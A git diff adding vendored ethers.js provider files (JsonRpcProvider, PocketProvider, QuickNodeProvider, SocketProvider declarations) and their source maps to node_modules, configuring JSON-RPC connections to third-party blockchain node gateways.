new Error("invalid interval"); + } + this.#pollingInterval = value; + this._forEachSubscriber((sub) => { + if (isPollable(sub)) { + sub.pollingInterval = this.#pollingInterval; + } + }); + } +} +/** + * The JsonRpcProvider is one of the most common Providers, + * which performs all operations over HTTP (or HTTPS) requests. + * + * Events are processed by polling the backend for the current block + * number; when it advances, all block-base events are then checked + * for updates. + */ +export class JsonRpcProvider extends JsonRpcApiPollingProvider { + #connect; + constructor(url, network, options) { + if (url == null) { + url = "http:/\/localhost:8545"; + } + super(network, options); + if (typeof (url) === "string") { + this.#connect = new FetchRequest(url); + } + else { + this.#connect = url.clone(); + } + } + _getConnection() { + return this.#connect.clone(); + } + async send(method, params) { + // All requests are over HTTP, so we can just start handling requests + // We do this here rather than the constructor so that we don't send any + // requests to the network (i.e. eth_chainId) until we absolutely have to. + await this._start(); + return await super.send(method, params); + } + async _send(payload) { + // Configure a POST connection for the requested method + const request = this._getConnection(); + request.body = JSON.stringify(payload); + request.setHeader("content-type", "application/json"); + const response = await request.send(); + response.assertOk(); + let resp = response.bodyJson; + if (!Array.isArray(resp)) { + resp = [resp]; + } + return resp; + } +} +function spelunkData(value) { + if (value == null) { + return null; + } + // These *are* the droids we're looking for. + if (typeof (value.message) === "string" && value.message.match(/revert/i) && isHexString(value.data)) { + return { message: value.message, data: value.data }; + } + // Spelunk further... + if (typeof (value) === "object") { + for (const key in value) { + const result = spelunkData(value[key]); + if (result) { + return result; + } + } + return null; + } + // Might be a JSON string we can further descend... + if (typeof (value) === "string") { + try { + return spelunkData(JSON.parse(value)); + } + catch (error) { } + } + return null; +} +function _spelunkMessage(value, result) { + if (value == null) { + return; + } + // These *are* the droids we're looking for. + if (typeof (value.message) === "string") { + result.push(value.message); + } + // Spelunk further... + if (typeof (value) === "object") { + for (const key in value) { + _spelunkMessage(value[key], result); + } + } + // Might be a JSON string we can further descend... + if (typeof (value) === "string") { + try { + return _spelunkMessage(JSON.parse(value), result); + } + catch (error) { } + } +} +function spelunkMessage(value) { + const result = []; + _spelunkMessage(value, result); + return result; +} +//# sourceMappingURL=provider-jsonrpc.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/provider-jsonrpc.js.map b/node_modules/ethers/lib.esm/providers/provider-jsonrpc.js.map new file mode 100644 index 000000000000..7f223d147c53 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/provider-jsonrpc.js.map @@ -0,0 +1 @@ +{"version":3,"file":"provider-jsonrpc.js","sourceRoot":"","sources":["../../src.ts/providers/provider-jsonrpc.ts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QAAQ,EAAE;QAC5B,IAAI;YACA,OAAO,eAAe,CAAC,IAAI,CAAC,KAAK,CAAC,KAAK,CAAC,EAAE,MAAM,CAAC,CAAC;SACrD;QAAC,OAAO,KAAK,EAAE,GAAG;KACtB;AACL,CAAC;AAED,SAAS,cAAc,CAAC,KAAU;IAC9B,MAAM,MAAM,GAAkB,EAAG,CAAC;IAClC,eAAe,CAAC,KAAK,EAAE,MAAM,CAAC,CAAC;IAC/B,OAAO,MAAM,CAAC;AAClB,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/provider-pocket.d.ts b/node_modules/ethers/lib.esm/providers/provider-pocket.d.ts new file mode 100644 index 000000000000..e0c4dc8146af --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/provider-pocket.d.ts @@ -0,0 +1,54 @@ +/** + * [[link-pocket]] provides a third-party service for connecting to + * various blockchains over JSON-RPC. + * + * **Supported Networks** + * + * - Ethereum Mainnet (``mainnet``) + * - Goerli Testnet (``goerli``) + * - Polygon (``matic``) + * - Arbitrum (``arbitrum``) + * + * @_subsection: api/providers/thirdparty:Pocket [providers-pocket] + */ +import { FetchRequest } from "../utils/index.js"; +import { AbstractProvider } from "./abstract-provider.js"; +import { Network } from "./network.js"; +import { JsonRpcProvider } from "./provider-jsonrpc.js"; +import type { CommunityResourcable } from "./community.js"; +import type { Networkish } from "./network.js"; +/** + * The **PocketProvider** connects to the [[link-pocket]] + * JSON-RPC end-points. + * + * By default, a highly-throttled API key is used, which is + * appropriate for quick prototypes and simple scripts. To + * gain access to an increased rate-limit, it is highly + * recommended to [sign up here](link-pocket-signup). + */ +export declare class PocketProvider extends JsonRpcProvider implements CommunityResourcable { + /** + * The Application ID for the Pocket connection. + */ + readonly applicationId: string; + /** + * The Application Secret for making authenticated requests + * to the Pocket connection. + */ + readonly applicationSecret: null | string; + /** + * Create a new **PocketProvider**. + * + * By default connecting to ``mainnet`` with a highly throttled + * API key. + */ + constructor(_network?: Networkish, applicationId?: null | string, applicationSecret?: null | string); + _getProvider(chainId: number): AbstractProvider; + /** + * Returns a prepared request for connecting to %%network%% with + * %%applicationId%%. + */ + static getRequest(network: Network, applicationId?: null | string, applicationSecret?: null | string): FetchRequest; + isCommunityResource(): boolean; +} +//# sourceMappingURL=provider-pocket.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/provider-pocket.d.ts.map b/node_modules/ethers/lib.esm/providers/provider-pocket.d.ts.map new file mode 100644 index 000000000000..1d989750f4f5 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/provider-pocket.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"provider-pocket.d.ts","sourceRoot":"","sources":["../../src.ts/providers/provider-pocket.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;GAYG;AACH,OAAO,EACe,YAAY,EACjC,MAAM,mBAAmB,CAAC;AAE3B,OAAO,EAAE,gBAAgB,EAAE,MAAM,wBAAwB,CAAC;AAE1D,OAAO,EAAE,OAAO,EAAE,MAAM,cAAc,CAAC;AACvC,OAAO,EAAE,eAAe,EAAE,MAAM,uBAAuB,CAAC;AAExD,OAAO,KAAK,EAAE,oBAAoB,EAAE,MAAM,gBAAgB,CAAC;AAC3D,OAAO,KAAK,EAAE,UAAU,EAAE,MAAM,cAAc,CAAC;AAqB/C;;;;;;;;GAQG;AACH,qBAAa,cAAe,SAAQ,eAAgB,YAAW,oBAAoB;IAE/E;;OAEG;IACH,QAAQ,CAAC,aAAa,EAAG,MAAM,CAAC;IAEhC;;;OAGG;IACH,QAAQ,CAAC,iBAAiB,EAAG,IAAI,GAAG,MAAM,CAAC;IAE3C;;;;;OAKG;gBACS,QAAQ,CAAC,EAAE,UAAU,EAAE,aAAa,CAAC,EAAE,IAAI,GAAG,MAAM,EAAE,iBAAiB,CAAC,EAAE,IAAI,GAAG,MAAM;IAcnG,YAAY,CAAC,OAAO,EAAE,MAAM,GAAG,gBAAgB;IAO/C;;;OAGG;IACH,MAAM,CAAC,UAAU,CAAC,OAAO,EAAE,OAAO,EAAE,aAAa,CAAC,EAAE,IAAI,GAAG,MAAM,EAAE,iBAAiB,CAAC,EAAE,IAAI,GAAG,MAAM,GAAG,YAAY;IAoBnH,mBAAmB,IAAI,OAAO;CAGjC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/provider-pocket.js b/node_modules/ethers/lib.esm/providers/provider-pocket.js new file mode 100644 index 000000000000..af3e3289936f --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/provider-pocket.js @@ -0,0 +1,105 @@ +/** + * [[link-pocket]] provides a third-party service for connecting to + * various blockchains over JSON-RPC. + * + * **Supported Networks** + * + * - Ethereum Mainnet (``mainnet``) + * - Goerli Testnet (``goerli``) + * - Polygon (``matic``) + * - Arbitrum (``arbitrum``) + * + * @_subsection: api/providers/thirdparty:Pocket [providers-pocket] + */ +import { defineProperties, FetchRequest, assertArgument } from "../utils/index.js"; +import { showThrottleMessage } from "./community.js"; +import { Network } from "./network.js"; +import { JsonRpcProvider } from "./provider-jsonrpc.js"; +const defaultApplicationId = "62e1ad51b37b8e00394bda3b"; +function getHost(name) { + switch (name) { + case "mainnet": + return "eth-mainnet.gateway.pokt.network"; + case "goerli": + return "eth-goerli.gateway.pokt.network"; + case "matic": + return "poly-mainnet.gateway.pokt.network"; + case "matic-mumbai": + return "polygon-mumbai-rpc.gateway.pokt.network"; + } + assertArgument(false, "unsupported network", "network", name); +} +/** + * The **PocketProvider** connects to the [[link-pocket]] + * JSON-RPC end-points. + * + * By default, a highly-throttled API key is used, which is + * appropriate for quick prototypes and simple scripts. To + * gain access to an increased rate-limit, it is highly + * recommended to [sign up here](link-pocket-signup). + */ +export class PocketProvider extends JsonRpcProvider { + /** + * The Application ID for the Pocket connection. + */ + applicationId; + /** + * The Application Secret for making authenticated requests + * to the Pocket connection. + */ + applicationSecret; + /** + * Create a new **PocketProvider**. + * + * By default connecting to ``mainnet`` with a highly throttled + * API key. + */ + constructor(_network, applicationId, applicationSecret) { + if (_network == null) { + _network = "mainnet"; + } + const network = Network.from(_network); + if (applicationId == null) { + applicationId = defaultApplicationId; + } + if (applicationSecret == null) { + applicationSecret = null; + } + const options = { staticNetwork: network }; + const request = PocketProvider.getRequest(network, applicationId, applicationSecret); + super(request, network, options); + defineProperties(this, { applicationId, applicationSecret }); + } + _getProvider(chainId) { + try { + return new PocketProvider(chainId, this.applicationId, this.applicationSecret); + } + catch (error) { } + return super._getProvider(chainId); + } + /** + * Returns a prepared request for connecting to %%network%% with + * %%applicationId%%. + */ + static getRequest(network, applicationId, applicationSecret) { + if (applicationId == null) { + applicationId = defaultApplicationId; + } + const request = new FetchRequest(`https:/\/${getHost(network.name)}/v1/lb/${applicationId}`); + request.allowGzip = true; + if (applicationSecret) { + request.setCredentials("", applicationSecret); + } + if (applicationId === defaultApplicationId) { + request.retryFunc = async (request, response, attempt) => { + showThrottleMessage("PocketProvider"); + return true; + }; + } + return request; + } + isCommunityResource() { + return (this.applicationId === defaultApplicationId); + } +} +//# sourceMappingURL=provider-pocket.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/provider-pocket.js.map b/node_modules/ethers/lib.esm/providers/provider-pocket.js.map new file mode 100644 index 000000000000..d9c679853886 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/provider-pocket.js.map @@ -0,0 +1 @@ +{"version":3,"file":"provider-pocket.js","sourceRoot":"","sources":["../../src.ts/providers/provider-pocket.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;GAYG;AACH,OAAO,EACH,gBAAgB,EAAE,YAAY,EAAE,cAAc,EACjD,MAAM,mBAAmB,CAAC;AAG3B,OAAO,EAAE,mBAAmB,EAAE,MAAM,gBAAgB,CAAC;AACrD,OAAO,EAAE,OAAO,EAAE,MAAM,cAAc,CAAC;AACvC,OAAO,EAAE,eAAe,EAAE,MAAM,uBAAuB,CAAC;AAKxD,MAAM,oBAAoB,GAAG,0BAA0B,CAAC;AAExD,SAAS,OAAO,CAAC,IAAY;IACzB,QAAQ,IAAI,EAA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ACnB,OAAO,KAAK,CAAC,YAAY,CAAC,OAAO,CAAC,CAAC;IACvC,CAAC;IAED;;;OAGG;IACH,MAAM,CAAC,UAAU,CAAC,OAAgB,EAAE,aAA6B,EAAE,iBAAiC;QAChG,IAAI,aAAa,IAAI,IAAI,EAAE;YAAE,aAAa,GAAG,oBAAoB,CAAC;SAAE;QAEpE,MAAM,OAAO,GAAG,IAAI,YAAY,CAAC,YAAa,OAAO,CAAC,OAAO,CAAC,IAAI,CAAE,UAAW,aAAc,EAAE,CAAC,CAAC;QACjG,OAAO,CAAC,SAAS,GAAG,IAAI,CAAC;QAEzB,IAAI,iBAAiB,EAAE;YACnB,OAAO,CAAC,cAAc,CAAC,EAAE,EAAE,iBAAiB,CAAC,CAAC;SACjD;QAED,IAAI,aAAa,KAAK,oBAAoB,EAAE;YACxC,OAAO,CAAC,SAAS,GAAG,KAAK,EAAE,OAAO,EAAE,QAAQ,EAAE,OAAO,EAAE,EAAE;gBACrD,mBAAmB,CAAC,gBAAgB,CAAC,CAAC;gBACtC,OAAO,IAAI,CAAC;YAChB,CAAC,CAAC;SACL;QAED,OAAO,OAAO,CAAC;IACnB,CAAC;IAED,mBAAmB;QACf,OAAO,CAAC,IAAI,CAAC,aAAa,KAAK,oBAAoB,CAAC,CAAC;IACzD,CAAC;CACJ"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/provider-quicknode.d.ts b/node_modules/ethers/lib.esm/providers/provider-quicknode.d.ts new file mode 100644 index 000000000000..244ce2a9da48 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/provider-quicknode.d.ts @@ -0,0 +1,59 @@ +/** + * [[link-quicknode]] provides a third-party service for connecting to + * various blockchains over JSON-RPC. + * + * **Supported Networks** + * + * - Ethereum Mainnet (``mainnet``) + * - Goerli Testnet (``goerli``) + * - Sepolia Testnet (``sepolia``) + * - Holesky Testnet (``holesky``) + * - Arbitrum (``arbitrum``) + * - Arbitrum Goerli Testnet (``arbitrum-goerli``) + * - Arbitrum Sepolia Testnet (``arbitrum-sepolia``) + * - Base Mainnet (``base``); + * - Base Goerli Testnet (``base-goerli``); + * - Base Sepolia Testnet (``base-sepolia``); + * - BNB Smart Chain Mainnet (``bnb``) + * - BNB Smart Chain Testnet (``bnbt``) + * - Optimism (``optimism``) + * - Optimism Goerli Testnet (``optimism-goerli``) + * - Optimism Sepolia Testnet (``optimism-sepolia``) + * - Polygon (``matic``) + * - Polygon Mumbai Testnet (``matic-mumbai``) + * + * @_subsection: api/providers/thirdparty:QuickNode [providers-quicknode] + */ +import { FetchRequest } from "../utils/index.js"; +import { Network } from "./network.js"; +import { JsonRpcProvider } from "./provider-jsonrpc.js"; +import type { AbstractProvider } from "./abstract-provider.js"; +import type { CommunityResourcable } from "./community.js"; +import type { Networkish } from "./network.js"; +/** + * The **QuickNodeProvider** connects to the [[link-quicknode]] + * JSON-RPC end-points. + * + * By default, a highly-throttled API token is used, which is + * appropriate for quick prototypes and simple scripts. To + * gain access to an increased rate-limit, it is highly + * recommended to [sign up here](link-quicknode). + */ +export declare class QuickNodeProvider extends JsonRpcProvider implements CommunityResourcable { + /** + * The API token. + */ + readonly token: string; + /** + * Creates a new **QuickNodeProvider**. + */ + constructor(_network?: Networkish, token?: null | string); + _getProvider(chainId: number): AbstractProvider; + isCommunityResource(): boolean; + /** + * Returns a new request prepared for %%network%% and the + * %%token%%. + */ + static getRequest(network: Network, token?: null | string): FetchRequest; +} +//# sourceMappingURL=provider-quicknode.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/provider-quicknode.d.ts.map b/node_modules/ethers/lib.esm/providers/provider-quicknode.d.ts.map new file mode 100644 index 000000000000..1078f1832853 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/provider-quicknode.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"provider-quicknode.d.ts","sourceRoot":"","sources":["../../src.ts/providers/provider-quicknode.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;;;;GAyBG;AAEH,OAAO,EACe,YAAY,EACjC,MAAM,mBAAmB,CAAC;AAG3B,OAAO,EAAE,OAAO,EAAE,MAAM,cAAc,CAAC;AACvC,OAAO,EAAE,eAAe,EAAE,MAAM,uBAAuB,CAAC;AAExD,OAAO,KAAK,EAAE,gBAAgB,EAAE,MAAM,wBAAwB,CAAC;AAC/D,OAAO,KAAK,EAAE,oBAAoB,EAAE,MAAM,gBAAgB,CAAC;AAC3D,OAAO,KAAK,EAAE,UAAU,EAAE,MAAM,cAAc,CAAC;AA+E/C;;;;;;;;GAQG;AACH,qBAAa,iBAAkB,SAAQ,eAAgB,YAAW,oBAAoB;IAClF;;OAEG;IACH,QAAQ,CAAC,KAAK,EAAG,MAAM,CAAC;IAExB;;OAEG;gBACS,QAAQ,CAAC,EAAE,UAAU,EAAE,KAAK,CAAC,EAAE,IAAI,GAAG,MAAM;IAWxD,YAAY,CAAC,OAAO,EAAE,MAAM,GAAG,gBAAgB;IAO/C,mBAAmB,IAAI,OAAO;IAI9B;;;OAGG;IACH,MAAM,CAAC,UAAU,CAAC,OAAO,EAAE,OAAO,EAAE,KAAK,CAAC,EAAE,IAAI,GAAG,MAAM,GAAG,YAAY;CAgB3E"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/provider-quicknode.js b/node_modules/ethers/lib.esm/providers/provider-quicknode.js new file mode 100644 index 000000000000..50c4bdea463c --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/provider-quicknode.js @@ -0,0 +1,159 @@ +/** + * [[link-quicknode]] provides a third-party service for connecting to + * various blockchains over JSON-RPC. + * + * **Supported Networks** + * + * - Ethereum Mainnet (``mainnet``) + * - Goerli Testnet (``goerli``) + * - Sepolia Testnet (``sepolia``) + * - Holesky Testnet (``holesky``) + * - Arbitrum (``arbitrum``) + * - Arbitrum Goerli Testnet (``arbitrum-goerli``) + * - Arbitrum Sepolia Testnet (``arbitrum-sepolia``) + * - Base Mainnet (``base``); + * - Base Goerli Testnet (``base-goerli``); + * - Base Sepolia Testnet (``base-sepolia``); + * - BNB Smart Chain Mainnet (``bnb``) + * - BNB Smart Chain Testnet (``bnbt``) + * - Optimism (``optimism``) + * - Optimism Goerli Testnet (``optimism-goerli``) + * - Optimism Sepolia Testnet (``optimism-sepolia``) + * - Polygon (``matic``) + * - Polygon Mumbai Testnet (``matic-mumbai``) + * + * @_subsection: api/providers/thirdparty:QuickNode [providers-quicknode] + */ +import { defineProperties, FetchRequest, assertArgument } from "../utils/index.js"; +import { showThrottleMessage } from "./community.js"; +import { Network } from "./network.js"; +import { JsonRpcProvider } from "./provider-jsonrpc.js"; +const defaultToken = "919b412a057b5e9c9b6dce193c5a60242d6efadb"; +function getHost(name) { + switch (name) { + case "mainnet": + return "ethers.quiknode.pro"; + case "goerli": + return "ethers.ethereum-goerli.quiknode.pro"; + case "sepolia": + return "ethers.ethereum-sepolia.quiknode.pro"; + case "holesky": + return "ethers.ethereum-holesky.quiknode.pro"; + case "arbitrum": + return "ethers.arbitrum-mainnet.quiknode.pro"; + case "arbitrum-goerli": + return "ethers.arbitrum-goerli.quiknode.pro"; + case "arbitrum-sepolia": + return "ethers.arbitrum-sepolia.quiknode.pro"; + case "base": + return "ethers.base-mainnet.quiknode.pro"; + case "base-goerli": + return "ethers.base-goerli.quiknode.pro"; + case "base-spolia": + return "ethers.base-sepolia.quiknode.pro"; + case "bnb": + return "ethers.bsc.quiknode.pro"; + case "bnbt": + return "ethers.bsc-testnet.quiknode.pro"; + case "matic": + return "ethers.matic.quiknode.pro"; + case "matic-mumbai": + return "ethers.matic-testnet.quiknode.pro"; + case "optimism": + return "ethers.optimism.quiknode.pro"; + case "optimism-goerli": + return "ethers.optimism-goerli.quiknode.pro"; + case "optimism-sepolia": + return "ethers.optimism-sepolia.quiknode.pro"; + case "xdai": + return "ethers.xdai.quiknode.pro"; + } + assertArgument(false, "unsupported network", "network", name); +} +/* +@TODO: + These networks are not currently present in the Network + default included networks. Research them and ensure they + are EVM compatible and work with ethers + + http://ethers.matic-amoy.quiknode.pro + + http://ethers.avalanche-mainnet.quiknode.pro + http://ethers.avalanche-testnet.quiknode.pro + http://ethers.blast-sepolia.quiknode.pro + http://ethers.celo-mainnet.quiknode.pro + http://ethers.fantom.quiknode.pro + http://ethers.imx-demo.quiknode.pro + http://ethers.imx-mainnet.quiknode.pro + http://ethers.imx-testnet.quiknode.pro + http://ethers.near-mainnet.quiknode.pro + http://ethers.near-testnet.quiknode.pro + http://ethers.nova-mainnet.quiknode.pro + http://ethers.scroll-mainnet.quiknode.pro + http://ethers.scroll-testnet.quiknode.pro + http://ethers.tron-mainnet.quiknode.pro + http://ethers.zkevm-mainnet.quiknode.pro + http://ethers.zkevm-testnet.quiknode.pro + http://ethers.zksync-mainnet.quiknode.pro + http://ethers.zksync-testnet.quiknode.pro +*/ +/** + * The **QuickNodeProvider** connects to the [[link-quicknode]] + * JSON-RPC end-points. + * + * By default, a highly-throttled API token is used, which is + * appropriate for quick prototypes and simple scripts. To + * gain access to an increased rate-limit, it is highly + * recommended to [sign up here](link-quicknode). + */ +export class QuickNodeProvider extends JsonRpcProvider { + /** + * The API token. + */ + token; + /** + * Creates a new **QuickNodeProvider**. + */ + constructor(_network, token) { + if (_network == null) { + _network = "mainnet"; + } + const network = Network.from(_network); + if (token == null) { + token = defaultToken; + } + const request = QuickNodeProvider.getRequest(network, token); + super(request, network, { staticNetwork: network }); + defineProperties(this, { token }); + } + _getProvider(chainId) { + try { + return new QuickNodeProvider(chainId, this.token); + } + catch (error) { } + return super._getProvider(chainId); + } + isCommunityResource() { + return (this.token === defaultToken); + } + /** + * Returns a new request prepared for %%network%% and the + * %%token%%. + */ + static getRequest(network, token) { + if (token == null) { + token = defaultToken; + } + const request = new FetchRequest(`https:/\/${getHost(network.name)}/${token}`); + request.allowGzip = true; + //if (projectSecret) { request.setCredentials("", projectSecret); } + if (token === defaultToken) { + request.retryFunc = async (request, response, attempt) => { + showThrottleMessage("QuickNodeProvider"); + return true; + }; + } + return request; + } +} +//# sourceMappingURL=provider-quicknode.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/provider-quicknode.js.map b/node_modules/ethers/lib.esm/providers/provider-quicknode.js.map new file mode 100644 index 000000000000..213b61bbd89b --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/provider-quicknode.js.map @@ -0,0 +1 @@ +{"version":3,"file":"provider-quicknode.js","sourceRoot":"","sources":["../../src.ts/providers/provider-quicknode.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;;;;GAyBG;AAEH,OAAO,EACH,gBAAgB,EAAE,YAAY,EAAE,cAAc,EACjD,MAAM,mBAAmB,CAAC;AAE3B,OAAO,EAAE,mBAAmB,EAAE,MAAM,gBAAgB,CAAC;AACrD,OAAO,EAAE,OAAO,EAAE,MAAM,cAAc,CAAC;AACvC,OAAO,EAAE,eAAe,EAAE,MAAM,uBAAuB,CAAC;AAOxD,MAAM,YAAY,GAAG,0CAA0C,CAAC;AAEhE,SAAS,OAAO,CAAC,IAAY;IACzB,QAAO,IAAI,EAAE;QACT,KAAK,SAAS;YACV,OAAO,qBAAqB,CAAC;QACjC,KAAK,QAAQ;YACT,OAAO,qCAAqC,CAAC;QACjD,KAAK,SAAS;YACV,OAAO,sCAAsC,CAAC;QAClD,KAAK,SAAS;YACV,OAAO,sCAAsC,CAAC;QAElD,KAAK,UAAU;YACX,OAAO,sCAAsC,CAAC;QAClD,KAAK,iBAAiB;YAClB,OAAO,qCAAqC,CAAC;QACjD,KAAK,kBAAkB;YACnB,OAAO,sCAAsC,CAAC;QAClD,KAAK,MAAM;YACP,OAAO,kCAAkC,CAAC;QAC9C,KAAK,aAAa;YACd,OAAO,iCAAiC,CAAC;QAC7C,KAAK,aAAa;YACd,OAAO,kCAAkC,CAAC;QAC9C,KAAK,KAAK;YACN,OAAO,yBAAyB,CAAC;QACrC,KAAK,MAAM;YACP,OAAO,iCAAiC,CAAC;QAC7C,KAAK,OAAO;YACR,OAAO,2BAA2B,CAAC;QACvC,KAAK,cAAc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AED;;;OAGG;IACH,MAAM,CAAC,UAAU,CAAC,OAAgB,EAAE,KAAqB;QACrD,IAAI,KAAK,IAAI,IAAI,EAAE;YAAE,KAAK,GAAG,YAAY,CAAC;SAAE;QAE5C,MAAM,OAAO,GAAG,IAAI,YAAY,CAAC,YAAa,OAAO,CAAC,OAAO,CAAC,IAAI,CAAE,IAAK,KAAM,EAAE,CAAC,CAAC;QACnF,OAAO,CAAC,SAAS,GAAG,IAAI,CAAC;QACzB,mEAAmE;QAEnE,IAAI,KAAK,KAAK,YAAY,EAAE;YACxB,OAAO,CAAC,SAAS,GAAG,KAAK,EAAE,OAAO,EAAE,QAAQ,EAAE,OAAO,EAAE,EAAE;gBACrD,mBAAmB,CAAC,mBAAmB,CAAC,CAAC;gBACzC,OAAO,IAAI,CAAC;YAChB,CAAC,CAAC;SACL;QAED,OAAO,OAAO,CAAC;IACnB,CAAC;CACJ"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/provider-socket.d.ts b/node_modules/ethers/lib.esm/providers/provider-socket.d.ts new file mode 100644 index 000000000000..41c58fc0fff2 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/provider-socket.d.ts @@ -0,0 +1,113 @@ +/** + * Generic long-lived socket provider. + * + * Sub-classing notes + * - a sub-class MUST call the `_start()` method once connected + * - a sub-class MUST override the `_write(string)` method + * - a sub-class MUST call `_processMessage(string)` for each message + * + * @_subsection: api/providers/abstract-provider:Socket Providers [about-socketProvider] + */ +import { JsonRpcApiProvider } from "./provider-jsonrpc.js"; +import type { Subscriber, Subscription } from "./abstract-provider.js"; +import type { EventFilter } from "./provider.js"; +import type { JsonRpcApiProviderOptions, JsonRpcError, JsonRpcPayload, JsonRpcResult } from "./provider-jsonrpc.js"; +import type { Networkish } from "./network.js"; +/** + * A **SocketSubscriber** uses a socket transport to handle events and + * should use [[_emit]] to manage the events. + */ +export declare class SocketSubscriber implements Subscriber { + #private; + /** + * The filter. + */ + get filter(): Array; + /** + * Creates a new **SocketSubscriber** attached to %%provider%% listening + * to %%filter%%. + */ + constructor(provider: SocketProvider, filter: Array); + start(): void; + stop(): void; + pause(dropWhilePaused?: boolean): void; + resume(): void; + /** + * @_ignore: + */ + _handleMessage(message: any): void; + /** + * Sub-classes **must** override this to emit the events on the + * provider. + */ + _emit(provider: SocketProvider, message: any): Promise; +} +/** + * A **SocketBlockSubscriber** listens for ``newHeads`` events and emits + * ``"block"`` events. + */ +export declare class SocketBlockSubscriber extends SocketSubscriber { + /** + * @_ignore: + */ + constructor(provider: SocketProvider); + _emit(provider: SocketProvider, message: any): Promise; +} +/** + * A **SocketPendingSubscriber** listens for pending transacitons and emits + * ``"pending"`` events. + */ +export declare class SocketPendingSubscriber extends SocketSubscriber { + /** + * @_ignore: + */ + constructor(provider: SocketProvider); + _emit(provider: SocketProvider, message: any): Promise; +} +/** + * A **SocketEventSubscriber** listens for event logs. + */ +export declare class SocketEventSubscriber extends SocketSubscriber { + #private; + /** + * The filter. + */ + get logFilter(): EventFilter; + /** + * @_ignore: + */ + constructor(provider: SocketProvider, filter: EventFilter); + _emit(provider: SocketProvider, message: any): Promise; +} +/** + * A **SocketProvider** is backed by a long-lived connection over a + * socket, which can subscribe and receive real-time messages over + * its communication channel. + */ +export declare class SocketProvider extends JsonRpcApiProvider { + #private; + /** + * Creates a new **SocketProvider** connected to %%network%%. + * + * If unspecified, the network will be discovered. + */ + constructor(network?: Networkish, _options?: JsonRpcApiProviderOptions); + _getSubscriber(sub: Subscription): Subscriber; + /** + * Register a new subscriber. This is used internalled by Subscribers + * and generally is unecessary unless extending capabilities. + */ + _register(filterId: number | string, subscriber: SocketSubscriber): void; + _send(payload: JsonRpcPayload | Array): Promise>; + /** + * Sub-classes **must** call this with messages received over their + * transport to be processed and dispatched. + */ + _processMessage(message: string): Promise; + /** + * Sub-classes **must** override this to send %%message%% over their + * transport. + */ + _write(message: string): Promise; +} +//# sourceMappingURL=provider-socket.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/provider-socket.d.ts.map b/node_modules/ethers/lib.esm/providers/provider-socket.d.ts.map new file mode 100644 index 000000000000..6748e7c2e5ed --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/provider-socket.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"provider-socket.d.ts","sourceRoot":"","sources":["../../src.ts/providers/provider-socket.ts"],"names":[],"mappings":"AAAA;;;;;;;;;GASG;AAIH,OAAO,EAAE,kBAAkB,EAAE,MAAM,uBAAuB,CAAC;AAE3D,OAAO,KAAK,EAAE,UAAU,EAAE,YAAY,EAAE,MAAM,wBAAwB,CAAC;AACvE,OAAO,KAAK,EAAE,WAAW,EAAE,MAAM,eAAe,CAAC;AACjD,OAAO,KAAK,EACR,yBAAyB,EAAE,YAAY,EAAE,cAAc,EAAE,aAAa,EACzE,MAAM,uBAAuB,CAAC;AAC/B,OAAO,KAAK,EAAE,UAAU,EAAE,MAAM,cAAc,CAAC;AAW/C;;;GAGG;AACH,qBAAa,gBAAiB,YAAW,UAAU;;IAK/C;;OAEG;IACH,IAAI,MAAM,IAAI,KAAK,CAAC,GAAG,CAAC,CAAqC;IAO7D;;;OAGG;gBACS,QAAQ,EAAE,cAAc,EAAE,MAAM,EAAE,KAAK,CAAC,GAAG,CAAC;IAQxD,KAAK,IAAI,IAAI;IAOb,IAAI,IAAI,IAAI;IAUZ,KAAK,CAAC,eAAe,CAAC,EAAE,OAAO,GAAG,IAAI;IAMtC,MAAM,IAAI,IAAI;IAId;;OAEG;IACH,cAAc,CAAC,OAAO,EAAE,GAAG,GAAG,IAAI;IAmBlC;;;OAGG;IACG,KAAK,CAAC,QAAQ,EAAE,cAAc,EAAE,OAAO,EAAE,GAAG,GAAG,OAAO,CAAC,IAAI,CAAC;CAGrE;AAED;;;GAGG;AACH,qBAAa,qBAAsB,SAAQ,gBAAgB;IACvD;;OAEG;gBACS,QAAQ,EAAE,cAAc;IAI9B,KAAK,CAAC,QAAQ,EAAE,cAAc,EAAE,OAAO,EAAE,GAAG,GAAG,OAAO,CAAC,IAAI,CAAC;CAGrE;AAED;;;GAGG;AACH,qBAAa,uBAAwB,SAAQ,gBAAgB;IAEzD;;OAEG;gBACS,QAAQ,EAAE,cAAc;IAI9B,KAAK,CAAC,QAAQ,EAAE,cAAc,EAAE,OAAO,EAAE,GAAG,GAAG,OAAO,CAAC,IAAI,CAAC;CAGrE;AAED;;GAEG;AACH,qBAAa,qBAAsB,SAAQ,gBAAgB;;IAGvD;;OAEG;IACH,IAAI,SAAS,IAAI,WAAW,CAAwC;IAEpE;;OAEG;gBACS,QAAQ,EAAE,cAAc,EAAE,MAAM,EAAE,WAAW;IAKnD,KAAK,CAAC,QAAQ,EAAE,cAAc,EAAE,OAAO,EAAE,GAAG,GAAG,OAAO,CAAC,IAAI,CAAC;CAGr